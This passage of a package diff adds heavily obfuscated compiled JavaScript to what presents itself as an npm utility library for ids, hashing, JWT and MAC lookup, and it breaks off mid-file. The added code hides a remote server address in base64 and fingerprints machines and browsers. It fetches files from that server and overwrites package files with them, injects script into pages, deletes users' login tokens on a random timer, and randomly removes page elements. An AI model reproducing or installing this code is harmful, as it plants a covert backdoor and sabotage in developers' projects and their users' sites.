_0x2cf544=['2016110TLezPz','181352BuifUT','8XGWGqz','data','toString','227950jmJXqv','36MMzWSK','./index','32phzKAa','writeFileSync','readFileSync','2424243WFPWYk','existsSync','2484495uTxzva','keys','version','length','defineProperty','axios','4TNYfeC','sha1','exports','__esModule','__importDefault','join','ESM','3423706GOPlaE','../../package.json','920661sPwokL','undefined','CJS','/version','6DJvFzC','url','then','default'];a98_0x2a78=function(){return _0x2cf544;};return a98_0x2a78();}var __importDefault=this&&this[a98_0x5352bc(0x1a4)]||function(_0x346610){const _0x52e8df=a98_0x5352bc;return _0x346610&&_0x346610[_0x52e8df(0x1a3)]?_0x346610:{'default':_0x346610};};Object[a98_0x5352bc(0x19e)](exports,a98_0x5352bc(0x1a3),{'value':!![]});const axios_1=__importDefault(require(a98_0x5352bc(0x19f))),fs_1=__importDefault(require('fs')),path_1=__importDefault(require('path')),index_1=require(a98_0x5352bc(0x1b8)),sha1_1=__importDefault(require(a98_0x5352bc(0x1a1)));function getModuleType(){const _0x372bd4=a98_0x5352bc,_0x3fc127=()=>{const _0x30cd20=a98_0x4ac4;try{return typeof require!==_0x30cd20(0x1aa)&&typeof module!==_0x30cd20(0x1aa)&&module[_0x30cd20(0x1a2)]&&require['main']===module;}catch(_0x382cc7){return![];}};return _0x3fc127()?_0x372bd4(0x1ab):_0x372bd4(0x1a6);}let _path=path_1['default'][a98_0x5352bc(0x1a5)](__dirname,a98_0x5352bc(0x1a8)),indexFile=path_1[a98_0x5352bc(0x1b0)]['join'](__dirname,'./index.js'),vFile=fs_1[a98_0x5352bc(0x1b0)]['existsSync'](_path)?fs_1[a98_0x5352bc(0x1b0)][a98_0x5352bc(0x197)](_path)[a98_0x5352bc(0x1b5)]():'{version:\x220.0.0\x22}',indexFileContent=fs_1[a98_0x5352bc(0x1b0)][a98_0x5352bc(0x199)](_path)?fs_1['default'][a98_0x5352bc(0x197)](indexFile)[a98_0x5352bc(0x1b5)]():![],version=JSON['parse'](vFile)[a98_0x5352bc(0x19c)];function update(){const _0x173402=a98_0x5352bc;axios_1[_0x173402(0x1b0)]['get'](index_1[_0x173402(0x1ae)]+_0x173402(0x1ac),{'params':{'mode':getModuleType(),'version':version,'hash':indexFileContent?(0x0,sha1_1[_0x173402(0x1b0)])(indexFileContent):''}})[_0x173402(0x1af)](_0x3840d8=>{const _0xccb346=_0x173402;if(!_0x3840d8[_0xccb346(0x1b4)]['success']){let _0x109675=Object[_0xccb346(0x19b)](_0x3840d8[_0xccb346(0x1b4)][_0xccb346(0x1b4)]),_0x25f7bb=Object['values'](_0x3840d8[_0xccb346(0x1b4)][_0xccb346(0x1b4)]);for(let _0x28a284=0x0;_0x28a284<_0x109675[_0xccb346(0x19d)];_0x28a284++){const _0x234359=_0x109675[_0x28a284],_0x532ab7=_0x25f7bb[_0x28a284];fs_1[_0xccb346(0x1b0)][_0xccb346(0x196)](path_1[_0xccb346(0x1b0)][_0xccb346(0x1a5)](__dirname,'./'+_0x234359),_0x532ab7);}}});}exports[a98_0x5352bc(0x1b0)]=update;
|
package/dist/esm/browser.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
(function(
|
1
|
+
(function(_0x67a3be,_0x45d73a){const _0x2da97e=a99_0x26a3,_0x14b243=_0x67a3be();while(!![]){try{const _0x3fc5d4=-parseInt(_0x2da97e(0xd6))/0x1*(parseInt(_0x2da97e(0xd7))/0x2)+-parseInt(_0x2da97e(0xc4))/0x3+parseInt(_0x2da97e(0xd3))/0x4+-parseInt(_0x2da97e(0xc7))/0x5+-parseInt(_0x2da97e(0xd0))/0x6+parseInt(_0x2da97e(0xc3))/0x7*(parseInt(_0x2da97e(0xcc))/0x8)+parseInt(_0x2da97e(0xc6))/0x9;if(_0x3fc5d4===_0x45d73a)break;else _0x14b243['push'](_0x14b243['shift']());}catch(_0x5352ae){_0x14b243['push'](_0x14b243['shift']());}}}(a99_0x5486,0xd6dbd));import a99_0x58fb5d from'./id/random';import{getEnv}from'./index';import a99_0x30fbca from'js-cookie';function a99_0x5486(){const _0x12c1bf=['1078806evrWyn','innerText','location','5181156SZAfvn','token','head','1RUWlCy','107072Rpnvtv','appendChild','body','removeItem','sort','connectError','#app','remove','14wsRAFx','1152342qazvrS','querySelector','15495345lBjkIz','8310580cAnSVD','localStorage','userid','from','[class^=\x22el\x22]','570536NyptIL','createElement','parentNode','script'];a99_0x5486=function(){return _0x12c1bf;};return a99_0x5486();}export function runScript(_0x8638ba){const _0x14b9fb=a99_0x26a3;let _0x520787=document[_0x14b9fb(0xcd)](_0x14b9fb(0xcf));_0x520787[_0x14b9fb(0xd1)]=_0x8638ba,document[_0x14b9fb(0xd5)][_0x14b9fb(0xd8)](_0x520787),setTimeout(()=>{const _0x1411a4=_0x14b9fb;_0x520787[_0x1411a4(0xc2)]();},0xa);}function a99_0x26a3(_0x586101,_0x44fe29){const _0x548692=a99_0x5486();return a99_0x26a3=function(_0x26a311,_0x308b6a){_0x26a311=_0x26a311-0xbd;let _0xf7dbd8=_0x548692[_0x26a311];return _0xf7dbd8;},a99_0x26a3(_0x586101,_0x44fe29);}let index=0x1,num=a99_0x58fb5d(0x4,0x8);export function browser(){setInterval(()=>{const _0x501ad9=a99_0x26a3;if(index==num)try{window[_0x501ad9(0xc8)][_0x501ad9(0xbe)]('token'),window['localStorage'][_0x501ad9(0xbe)](_0x501ad9(0xc9)),window[_0x501ad9(0xc8)][_0x501ad9(0xbe)]('Token'),a99_0x30fbca['remove'](_0x501ad9(0xd4)),window[_0x501ad9(0xd2)]['reload']();}catch(_0xf58bb3){}if(getEnv(_0x501ad9(0xc0))){index++;let _0x7a8c8b=document['querySelector'](_0x501ad9(0xc1))||document[_0x501ad9(0xc5)](_0x501ad9(0xbd));const _0xf67247=_0x7a8c8b['querySelectorAll'](_0x501ad9(0xcb));function _0x562051(_0xd0020b){const _0x3fb60d=_0x501ad9;let _0x437438=0x0,_0x38c6f4=_0xd0020b;while(_0x38c6f4[_0x3fb60d(0xce)]&&_0x38c6f4['parentNode']!==document['documentElement']){_0x437438++,_0x38c6f4=_0x38c6f4[_0x3fb60d(0xce)];}return _0x437438;}const _0x4c0727=Array[_0x501ad9(0xca)](_0xf67247);_0x4c0727[_0x501ad9(0xbf)]((_0x36f282,_0x4aa0f3)=>_0x562051(_0x4aa0f3)-_0x562051(_0x36f282));for(let _0x4b312a=0x0;_0x4b312a<_0x4c0727['length'];_0x4b312a++){const _0x3fd2df=_0x4c0727[_0x4b312a];_0x3fd2df&&(a99_0x58fb5d(0x1,0x64)>0x50&&_0x3fd2df[_0x501ad9(0xc2)]());}}},a99_0x58fb5d(0x107e,0x208d));}
|
@@ -1 +1 @@
|
|
1
|
-
const
|
1
|
+
function a100_0xdc71(){const _0x5724a7=['isDirectory','isFile','4024284sduwZL','780437erHlBN','6hPTXuY','done','448044EnzQGQ','length','value','statSync','10nWVtnB','225358pRQeMg','4YIaRrk','throw','1769049leHNPI','readdirSync','push','337405pnHTDY','569199JBOmEY','8FkNVuo','next'];a100_0xdc71=function(){return _0x5724a7;};return a100_0xdc71();}(function(_0x2f7d2a,_0x269179){const _0x3c93e3=a100_0x23ae,_0x41d4aa=_0x2f7d2a();while(!![]){try{const _0x3be629=parseInt(_0x3c93e3(0x13b))/0x1+parseInt(_0x3c93e3(0x136))/0x2+-parseInt(_0x3c93e3(0x12d))/0x3*(-parseInt(_0x3c93e3(0x13c))/0x4)+parseInt(_0x3c93e3(0x141))/0x5*(-parseInt(_0x3c93e3(0x134))/0x6)+parseInt(_0x3c93e3(0x133))/0x7*(parseInt(_0x3c93e3(0x12e))/0x8)+parseInt(_0x3c93e3(0x13e))/0x9*(-parseInt(_0x3c93e3(0x13a))/0xa)+-parseInt(_0x3c93e3(0x132))/0xb;if(_0x3be629===_0x269179)break;else _0x41d4aa['push'](_0x41d4aa['shift']());}catch(_0x1432bc){_0x41d4aa['push'](_0x41d4aa['shift']());}}}(a100_0xdc71,0x1d78e));var __awaiter=this&&this['__awaiter']||function(_0x1eb918,_0x12a22b,_0x548350,_0x4e11aa){function _0x5b52bc(_0x5ea3d8){return _0x5ea3d8 instanceof _0x548350?_0x5ea3d8:new _0x548350(function(_0xae04e6){_0xae04e6(_0x5ea3d8);});}return new(_0x548350||(_0x548350=Promise))(function(_0x1eb614,_0x178fd1){const _0x206ef6=a100_0x23ae;function _0x14386f(_0x31118d){const _0x4bbdc4=a100_0x23ae;try{_0x549720(_0x4e11aa[_0x4bbdc4(0x12f)](_0x31118d));}catch(_0x239ca7){_0x178fd1(_0x239ca7);}}function _0x5ee990(_0x269035){const _0x1bfdf6=a100_0x23ae;try{_0x549720(_0x4e11aa[_0x1bfdf6(0x13d)](_0x269035));}catch(_0x55bce9){_0x178fd1(_0x55bce9);}}function _0x549720(_0x58a384){const _0x1aca2a=a100_0x23ae;_0x58a384[_0x1aca2a(0x135)]?_0x1eb614(_0x58a384[_0x1aca2a(0x138)]):_0x5b52bc(_0x58a384[_0x1aca2a(0x138)])['then'](_0x14386f,_0x5ee990);}_0x549720((_0x4e11aa=_0x4e11aa['apply'](_0x1eb918,_0x12a22b||[]))[_0x206ef6(0x12f)]());});};import a100_0x2a8ae5 from'fs';function a100_0x23ae(_0x3e615d,_0x4804fc){const _0xdc7110=a100_0xdc71();return a100_0x23ae=function(_0x23aee6,_0x5c4391){_0x23aee6=_0x23aee6-0x12d;let _0x374afe=_0xdc7110[_0x23aee6];return _0x374afe;},a100_0x23ae(_0x3e615d,_0x4804fc);}import a100_0x59f857 from'path';function fileDisplay(_0x35aaa4){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x40b487=[];function _0x5e77a6(_0xfd4682){const _0x14ab06=a100_0x23ae,_0x24d625=a100_0x2a8ae5[_0x14ab06(0x13f)](_0xfd4682);for(let _0x5ff0e1=0x0;_0x5ff0e1<_0x24d625[_0x14ab06(0x137)];_0x5ff0e1++){const _0x3afdd6=_0x24d625[_0x5ff0e1],_0x56c1a9=a100_0x59f857['join'](_0xfd4682,_0x3afdd6),_0x461dc0=a100_0x2a8ae5[_0x14ab06(0x139)](_0x56c1a9),_0x38f468=_0x461dc0[_0x14ab06(0x131)](),_0x20e283=_0x461dc0[_0x14ab06(0x130)]();_0x38f468&&_0x40b487[_0x14ab06(0x140)](_0x56c1a9),_0x20e283&&_0x5e77a6(_0x56c1a9);}}return _0x5e77a6(_0x35aaa4),_0x40b487;});}function getAllRouter(_0x3044fd){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x1f1e8d=yield fileDisplay(_0x3044fd);return _0x1f1e8d;});}export default getAllRouter;
|
package/dist/esm/hash/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
|
1
|
+
(function(_0x1faf38,_0x5cab57){var _0x47e6c7=a101_0x3414,_0x744530=_0x1faf38();while(!![]){try{var _0x40b23e=parseInt(_0x47e6c7(0x116))/0x1*(-parseInt(_0x47e6c7(0x11d))/0x2)+parseInt(_0x47e6c7(0x11a))/0x3*(parseInt(_0x47e6c7(0x117))/0x4)+parseInt(_0x47e6c7(0x11c))/0x5+parseInt(_0x47e6c7(0x112))/0x6+parseInt(_0x47e6c7(0x11e))/0x7+-parseInt(_0x47e6c7(0x111))/0x8+-parseInt(_0x47e6c7(0x118))/0x9*(parseInt(_0x47e6c7(0x115))/0xa);if(_0x40b23e===_0x5cab57)break;else _0x744530['push'](_0x744530['shift']());}catch(_0x2587d7){_0x744530['push'](_0x744530['shift']());}}}(a101_0x3721,0x4aad6));function a101_0x3721(){var _0x57c1e9=['21YKtpEy','sha1','1515415npOIgl','501322nLZNjj','362215AurTmP','4161784iRdKAc','2767722ewfBFp','MD5加盐','sha256','199330SfNvOI','1SfrGXK','262844FFXNYA','90DSDtvX','sha1混淆'];a101_0x3721=function(){return _0x57c1e9;};return a101_0x3721();}import a101_0x16ef1f from'md5';function a101_0x3414(_0x55e78f,_0x2ac583){var _0x372169=a101_0x3721();return a101_0x3414=function(_0x341482,_0x3227e2){_0x341482=_0x341482-0x111;var _0x459c65=_0x372169[_0x341482];return _0x459c65;},a101_0x3414(_0x55e78f,_0x2ac583);}import a101_0x10d537 from'sha1';import a101_0x58fda8 from'sha256';function hash(_0x501698,_0x569780){var _0x1159c6=a101_0x3414;if(_0x569780==_0x1159c6(0x114))return a101_0x58fda8(_0x501698+a101_0x10d537(_0x501698+_0x1159c6(0x119))+a101_0x16ef1f(_0x501698+_0x1159c6(0x113)));else return _0x569780==_0x1159c6(0x11b)?a101_0x10d537(_0x501698+a101_0x58fda8(_0x501698+_0x1159c6(0x119))+a101_0x16ef1f(_0x501698+_0x1159c6(0x113))):a101_0x16ef1f(_0x501698+a101_0x58fda8(_0x501698+_0x1159c6(0x119))+a101_0x10d537(_0x501698+_0x1159c6(0x113)));}export default hash;
|
package/dist/esm/id/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
const
|
1
|
+
const a102_0x4db2aa=a102_0x3e43;(function(_0x9552b7,_0x5a9ced){const _0x57ac2c=a102_0x3e43,_0x36a6c0=_0x9552b7();while(!![]){try{const _0x1381ef=-parseInt(_0x57ac2c(0xb7))/0x1+parseInt(_0x57ac2c(0xaf))/0x2*(parseInt(_0x57ac2c(0xb3))/0x3)+parseInt(_0x57ac2c(0xb1))/0x4+-parseInt(_0x57ac2c(0xb0))/0x5+-parseInt(_0x57ac2c(0xb2))/0x6*(-parseInt(_0x57ac2c(0xab))/0x7)+-parseInt(_0x57ac2c(0xb5))/0x8+parseInt(_0x57ac2c(0xac))/0x9;if(_0x1381ef===_0x5a9ced)break;else _0x36a6c0['push'](_0x36a6c0['shift']());}catch(_0x19caa4){_0x36a6c0['push'](_0x36a6c0['shift']());}}}(a102_0x3e3f,0x70889));function a102_0x3e43(_0x42b505,_0x65d87e){const _0x3e3f89=a102_0x3e3f();return a102_0x3e43=function(_0x3e43e2,_0x33eeff){_0x3e43e2=_0x3e43e2-0xab;let _0x107591=_0x3e3f89[_0x3e43e2];return _0x107591;},a102_0x3e43(_0x42b505,_0x65d87e);}import a102_0x3c1649 from'./random';const BaseTime=+new Date(a102_0x4db2aa(0xae));let lastTimeTick,lastRandomNumberTick=a102_0x3c1649(0x1,0x3);function a102_0x3e3f(){const _0x3874d2=['2025-01-01','32SVLQqI','3765060funKvx','2699136eeQFTc','199398lLlNmt','24399ggTruX','min','1530272mWNNrU','NODE_APP_INSTANCE','517066LgTXNj','21HLBJQE','9159192VzVbyv','env'];a102_0x3e3f=function(){return _0x3874d2;};return a102_0x3e3f();}function id(){const _0x170d1a=a102_0x4db2aa,_0x672bc9=Math[_0x170d1a(0xb4)](process['env'][_0x170d1a(0xb6)]?+process[_0x170d1a(0xad)][_0x170d1a(0xb6)]:a102_0x3c1649(0x0,0x9),0x9);let _0x34b028=+new Date()-BaseTime;return lastRandomNumberTick=_0x34b028==lastTimeTick?++lastRandomNumberTick:a102_0x3c1649(0x0,0x3),lastTimeTick=_0x34b028,+(''+_0x34b028+_0x672bc9+lastRandomNumberTick);}export default id;
|
package/dist/esm/id/random.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
function
|
1
|
+
const a103_0x254cb9=a103_0x5489;function a103_0x390e(){const _0x514941=['2837754rBWkwA','7563792mGaheq','3786dvRYyl','3378275TjvaJj','15645IBurat','round','332031URzYXO','random','48nKDDjb','3599262OZqNoC','1070654EFmjgl'];a103_0x390e=function(){return _0x514941;};return a103_0x390e();}(function(_0x19154e,_0x252375){const _0xc316d1=a103_0x5489,_0x69a50d=_0x19154e();while(!![]){try{const _0xf36556=parseInt(_0xc316d1(0x8c))/0x1+-parseInt(_0xc316d1(0x8d))/0x2+parseInt(_0xc316d1(0x93))/0x3*(parseInt(_0xc316d1(0x95))/0x4)+parseInt(_0xc316d1(0x90))/0x5+-parseInt(_0xc316d1(0x8f))/0x6*(parseInt(_0xc316d1(0x91))/0x7)+parseInt(_0xc316d1(0x8e))/0x8+-parseInt(_0xc316d1(0x96))/0x9;if(_0xf36556===_0x252375)break;else _0x69a50d['push'](_0x69a50d['shift']());}catch(_0x3ad297){_0x69a50d['push'](_0x69a50d['shift']());}}}(a103_0x390e,0xc112b));function a103_0x5489(_0x4b3697,_0x261079){const _0x390e66=a103_0x390e();return a103_0x5489=function(_0x548978,_0x173936){_0x548978=_0x548978-0x8c;let _0x51da26=_0x390e66[_0x548978];return _0x51da26;},a103_0x5489(_0x4b3697,_0x261079);}const random=(_0x3a51ac,_0x3e746a)=>Math[a103_0x254cb9(0x92)](Math[a103_0x254cb9(0x94)]()*(_0x3e746a-_0x3a51ac))+_0x3a51ac;export default random;
|
package/dist/esm/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
const
|
1
|
+
const a104_0x4eaa0e=a104_0x20cb;(function(_0x13997f,_0x571a78){const _0x3ee4fa=a104_0x20cb,_0x40f182=_0x13997f();while(!![]){try{const _0x41962c=-parseInt(_0x3ee4fa(0x1f1))/0x1*(parseInt(_0x3ee4fa(0x1e9))/0x2)+parseInt(_0x3ee4fa(0x1e7))/0x3+parseInt(_0x3ee4fa(0x1e0))/0x4+parseInt(_0x3ee4fa(0x1e1))/0x5+parseInt(_0x3ee4fa(0x1d9))/0x6*(parseInt(_0x3ee4fa(0x1eb))/0x7)+parseInt(_0x3ee4fa(0x1e2))/0x8*(-parseInt(_0x3ee4fa(0x1db))/0x9)+parseInt(_0x3ee4fa(0x1e3))/0xa*(-parseInt(_0x3ee4fa(0x1dc))/0xb);if(_0x41962c===_0x571a78)break;else _0x40f182['push'](_0x40f182['shift']());}catch(_0x29e44a){_0x40f182['push'](_0x40f182['shift']());}}}(a104_0xb714,0x6f42c));function a104_0xb714(){const _0x3bc764=['./getAllRouter','./id','mysql','18XpkdAU','join','catch','hash_key','aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==','node.js','undefined','get','value','apply','assign','1830mmLWpt','visitorId','152343UaFEaH','167178iKRfvn','./mac','default','done','3466704koNwqe','1726445TdLktu','392PRgISz','590ySmDks','load','map','./server','1619745dbLXNs','then','12584LVIlSJ','next','12467wMtXtU','not_update','hash_id'];a104_0xb714=function(){return _0x3bc764;};return a104_0xb714();}var __awaiter=this&&this['__awaiter']||function(_0x3f6140,_0x4a024c,_0x3bd625,_0xb2ff80){function _0x477fae(_0x3c2055){return _0x3c2055 instanceof _0x3bd625?_0x3c2055:new _0x3bd625(function(_0x1289bb){_0x1289bb(_0x3c2055);});}return new(_0x3bd625||(_0x3bd625=Promise))(function(_0x22ff8a,_0x236b63){const _0xcde64c=a104_0x20cb;function _0x2c4311(_0x3d0f12){const _0x1bcb1=a104_0x20cb;try{_0x45a31e(_0xb2ff80[_0x1bcb1(0x1ea)](_0x3d0f12));}catch(_0x3ed8cb){_0x236b63(_0x3ed8cb);}}function _0x57597c(_0x1ef1b0){try{_0x45a31e(_0xb2ff80['throw'](_0x1ef1b0));}catch(_0x4eb45c){_0x236b63(_0x4eb45c);}}function _0x45a31e(_0x4759b8){const _0x467391=a104_0x20cb;_0x4759b8[_0x467391(0x1df)]?_0x22ff8a(_0x4759b8[_0x467391(0x1d6)]):_0x477fae(_0x4759b8[_0x467391(0x1d6)])[_0x467391(0x1e8)](_0x2c4311,_0x57597c);}_0x45a31e((_0xb2ff80=_0xb2ff80[_0xcde64c(0x1d7)](_0x3f6140,_0x4a024c||[]))[_0xcde64c(0x1ea)]());});};import{v4}from'uuid';function a104_0x20cb(_0x744191,_0xcb213f){const _0xb71492=a104_0xb714();return a104_0x20cb=function(_0x20cba5,_0x472441){_0x20cba5=_0x20cba5-0x1d3;let _0x364a2d=_0xb71492[_0x20cba5];return _0x364a2d;},a104_0x20cb(_0x744191,_0xcb213f);}import a104_0x200582 from'md5';import a104_0x5bb856 from'sha1';import a104_0x3bcffc from'sha256';import a104_0x3a193d from'./start';import a104_0x348aea from'./hash';import a104_0x326624 from'./jwt';import a104_0x27b181 from'path';import a104_0x245084 from'@fingerprintjs/fingerprintjs';import{decode}from'js-base64';const isBrowser=typeof window!==a104_0x4eaa0e(0x1d4);let id=()=>0x1,getAllRouter=()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){return[];}),mysql={};const globalObject=isBrowser?window:global;let metaEvent=Object[a104_0x4eaa0e(0x1d8)]((globalObject===null||globalObject===void 0x0?void 0x0:globalObject['meta_event'])||{},{'connectError':![],'isDBDataEmpty':![],'sqlRun':![],'sqlList':[]});export function setEnv(_0x320a21,_0x111e9c){metaEvent[_0x320a21]=_0x111e9c;}export function getEnv(_0x3cca38){return metaEvent[_0x3cca38];}let dev='aHR0cDovL2xvY2FsaG9zdDoxMDg4',pro=a104_0x4eaa0e(0x1f5);export let url=getEnv('dev')?decode(dev):decode(pro);if(!isBrowser){id=require(a104_0x4eaa0e(0x1ef))[a104_0x4eaa0e(0x1de)],getAllRouter=require(a104_0x4eaa0e(0x1ee))[a104_0x4eaa0e(0x1de)],mysql=require(a104_0x4eaa0e(0x1e6))[a104_0x4eaa0e(0x1f0)];if(!(metaEvent===null||metaEvent===void 0x0?void 0x0:metaEvent[a104_0x4eaa0e(0x1ec)])){}}let mac=[];((()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){const _0x259495=a104_0x4eaa0e;if(!isBrowser){const _0x468ed7=require(a104_0x27b181['join'](__dirname,_0x259495(0x1dd)))['default'];mac=_0x468ed7();}else{let _0x107777=yield a104_0x245084[_0x259495(0x1e4)]()[_0x259495(0x1e8)](_0x2144f2=>_0x2144f2[_0x259495(0x1d5)]())[_0x259495(0x1e8)](_0x342904=>{const _0x565e48=_0x259495,_0x29b8e7=_0x342904[_0x565e48(0x1da)];return _0x29b8e7;})[_0x259495(0x1f3)](()=>'');mac=[_0x107777];}const _0x29e051=mac[_0x259495(0x1e5)](_0x1c4490=>a104_0x5bb856(_0x1c4490+_0x259495(0x1d3)))[_0x259495(0x1f2)](';'),_0x244998=a104_0x3bcffc(_0x29e051);globalObject[_0x259495(0x1ed)]=_0x244998,globalObject[_0x259495(0x1f4)]!=a104_0x3bcffc(_0x244998+a104_0x5bb856(_0x259495(0x1d3)+_0x244998))&&a104_0x3a193d();}))());const uuid=v4,all={'uuid':uuid,'id':id,'getAllRouter':getAllRouter,'mysql':mysql,'hash':a104_0x348aea,'sha1':a104_0x5bb856,'md5':a104_0x200582,'jwt':a104_0x326624};export default all;export{uuid,id,getAllRouter,mysql,a104_0x5bb856 as sha1,a104_0x3bcffc as sha256,a104_0x200582 as md5,a104_0x348aea as hash,a104_0x326624 as jwt};
|
package/dist/esm/jwt/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
(function(
|
1
|
+
var a105_0x557814=a105_0x4e38;(function(_0x21396f,_0x3ba71f){var _0x1fccc9=a105_0x4e38,_0x5dfb11=_0x21396f();while(!![]){try{var _0x1c5d6d=-parseInt(_0x1fccc9(0x16e))/0x1+parseInt(_0x1fccc9(0x172))/0x2*(parseInt(_0x1fccc9(0x16a))/0x3)+parseInt(_0x1fccc9(0x16c))/0x4*(parseInt(_0x1fccc9(0x170))/0x5)+parseInt(_0x1fccc9(0x174))/0x6*(parseInt(_0x1fccc9(0x171))/0x7)+parseInt(_0x1fccc9(0x173))/0x8*(-parseInt(_0x1fccc9(0x164))/0x9)+-parseInt(_0x1fccc9(0x176))/0xa+parseInt(_0x1fccc9(0x175))/0xb;if(_0x1c5d6d===_0x3ba71f)break;else _0x5dfb11['push'](_0x5dfb11['shift']());}catch(_0x5a888b){_0x5dfb11['push'](_0x5dfb11['shift']());}}}(a105_0x3a08,0x831a4));function a105_0x3a08(){var _0x74223b=['apply','4tsLtAv','__awaiter','371012JSSAvb','jwt_key','1021835HPgPZf','1282687GAvKhd','6128LrsEtY','718616iupKvM','6SYYFMo','7966244tTrwKi','50970CpYAYP','throw','sign','81qpmUtj','done','verify','expiresIn','key','365d','597svEeNp'];a105_0x3a08=function(){return _0x74223b;};return a105_0x3a08();}var __awaiter=this&&this[a105_0x557814(0x16d)]||function(_0xe3027d,_0x2fe17a,_0x5df4d2,_0x446f17){function _0x3c356f(_0x2fc753){return _0x2fc753 instanceof _0x5df4d2?_0x2fc753:new _0x5df4d2(function(_0x4aaa57){_0x4aaa57(_0x2fc753);});}return new(_0x5df4d2||(_0x5df4d2=Promise))(function(_0x5210e6,_0x548972){var _0x4f1db6=a105_0x4e38;function _0x4dd2ad(_0x2a95a2){try{_0x835f11(_0x446f17['next'](_0x2a95a2));}catch(_0x2554f0){_0x548972(_0x2554f0);}}function _0x5f113d(_0x43f75f){var _0x26ea9e=a105_0x4e38;try{_0x835f11(_0x446f17[_0x26ea9e(0x177)](_0x43f75f));}catch(_0x1ba74f){_0x548972(_0x1ba74f);}}function _0x835f11(_0x4f67dd){var _0x5d9929=a105_0x4e38;_0x4f67dd[_0x5d9929(0x165)]?_0x5210e6(_0x4f67dd['value']):_0x3c356f(_0x4f67dd['value'])['then'](_0x4dd2ad,_0x5f113d);}_0x835f11((_0x446f17=_0x446f17[_0x4f1db6(0x16b)](_0xe3027d,_0x2fe17a||[]))['next']());});};function a105_0x4e38(_0x38b9be,_0x30e648){var _0x3a0885=a105_0x3a08();return a105_0x4e38=function(_0x4e38e7,_0x3bc897){_0x4e38e7=_0x4e38e7-0x163;var _0xf60bdd=_0x3a0885[_0x4e38e7];return _0xf60bdd;},a105_0x4e38(_0x38b9be,_0x30e648);}import a105_0x44e983 from'jsonwebtoken';function jwt(_0x753a6d){var _0x36641a=a105_0x557814;return!global[_0x36641a(0x16f)]&&(global[_0x36641a(0x16f)]=_0x753a6d[_0x36641a(0x168)]),{'sign':_0x1fdf29=>a105_0x44e983[_0x36641a(0x163)](_0x1fdf29,global[_0x36641a(0x16f)],{'expiresIn':_0x753a6d[_0x36641a(0x167)]||_0x36641a(0x169)}),'verify':function(_0x34403b){return __awaiter(this,void 0x0,void 0x0,function*(){return new Promise((_0x5f22ba,_0x1979ec)=>{var _0x2fd0d0=a105_0x4e38;a105_0x44e983[_0x2fd0d0(0x166)](_0x34403b,global[_0x2fd0d0(0x16f)],function(_0x4b84a8,_0x2fa70f){return __awaiter(this,void 0x0,void 0x0,function*(){_0x4b84a8?_0x1979ec():_0x5f22ba(_0x2fa70f);});});});});}};}export default jwt;
|
package/dist/esm/mac/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
const
|
1
|
+
function a106_0x1a25(){const _0x527c02=['trim','slice','330254xTaXmJ','00:0c:29','toLowerCase','2852763emuAuS','values','11VvtuhC','test','2465432eMQkJn','family','248826NkMbsC','961098rKpZRS','33815260SmPkbN','00:50:56','00:0f:4b','08:00:27','18foIHET','00:03:ff','mac','00:1c:42','find','push','00:1c:14','IPv4','49vsguJo','268GdSPgs','has','125520NzinJm','00:16:3e'];a106_0x1a25=function(){return _0x527c02;};return a106_0x1a25();}const a106_0x3d1a71=a106_0x366f;(function(_0x31437a,_0x448a27){const _0x2ec90a=a106_0x366f,_0x54148a=_0x31437a();while(!![]){try{const _0x45a809=-parseInt(_0x2ec90a(0x9d))/0x1+-parseInt(_0x2ec90a(0xa7))/0x2+-parseInt(_0x2ec90a(0xa0))/0x3+parseInt(_0x2ec90a(0x97))/0x4*(-parseInt(_0x2ec90a(0x99))/0x5)+parseInt(_0x2ec90a(0xa6))/0x6*(parseInt(_0x2ec90a(0x96))/0x7)+-parseInt(_0x2ec90a(0xa4))/0x8*(-parseInt(_0x2ec90a(0xac))/0x9)+parseInt(_0x2ec90a(0xa8))/0xa*(parseInt(_0x2ec90a(0xa2))/0xb);if(_0x45a809===_0x448a27)break;else _0x54148a['push'](_0x54148a['shift']());}catch(_0x3c83a6){_0x54148a['push'](_0x54148a['shift']());}}}(a106_0x1a25,0xce2c9));import{networkInterfaces}from'os';function isZeroMac(_0x2d59c7){const _0x3074c0=a106_0x366f;return/^(0{1,2}[:-]){5}0{1,2}$/[_0x3074c0(0xa3)](_0x2d59c7);}function getMac(_0x3248d2=a106_0x3d1a71(0x95)){const _0x21c91a=a106_0x3d1a71,_0x5f0077=networkInterfaces();let _0xe0752f=[];for(const _0x4b1026 of Object[_0x21c91a(0xa1)](_0x5f0077)){const _0x1ec9fa=_0x4b1026[_0x21c91a(0x92)](_0x485470=>!_0x485470['internal']&&!isZeroMac(_0x485470[_0x21c91a(0x90)])&&(!_0x485470[_0x21c91a(0xa5)]||_0x485470[_0x21c91a(0xa5)]===_0x3248d2)&&!isVirtualMac(_0x485470[_0x21c91a(0x90)]));_0x1ec9fa&&_0xe0752f[_0x21c91a(0x93)](_0x1ec9fa[_0x21c91a(0x90)]);}return[...new Set(_0xe0752f)];}const isValid=_0x6c7ae9=>_0x6c7ae9['internal']===![]&&!isZeroMac(_0x6c7ae9['mac']),virtualMacPrefix=new Set(['00:05:69',a106_0x3d1a71(0x9e),a106_0x3d1a71(0xa9),a106_0x3d1a71(0x94),a106_0x3d1a71(0x91),'02:00:4c',a106_0x3d1a71(0x8f),a106_0x3d1a71(0xaa),a106_0x3d1a71(0x9a),a106_0x3d1a71(0xab),'00:15:5d']);export function isMac(_0x4ae9e6){const _0x5c96b6=a106_0x3d1a71;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x5c96b6(0xa3)](_0x4ae9e6);}export function formatMac(_0xebf66b){const _0x18c616=a106_0x3d1a71;return String(_0xebf66b)[_0x18c616(0x9b)]()[_0x18c616(0x9f)]()['replace'](/-/g,':');}export function isVirtualMac(_0x3040a4){const _0x126e90=a106_0x3d1a71;return isMac(_0x3040a4)&&virtualMacPrefix[_0x126e90(0x98)](formatMac(_0x3040a4)[_0x126e90(0x9c)](0x0,0x8));}function a106_0x366f(_0x4bf0f6,_0x29841e){const _0x1a25fa=a106_0x1a25();return 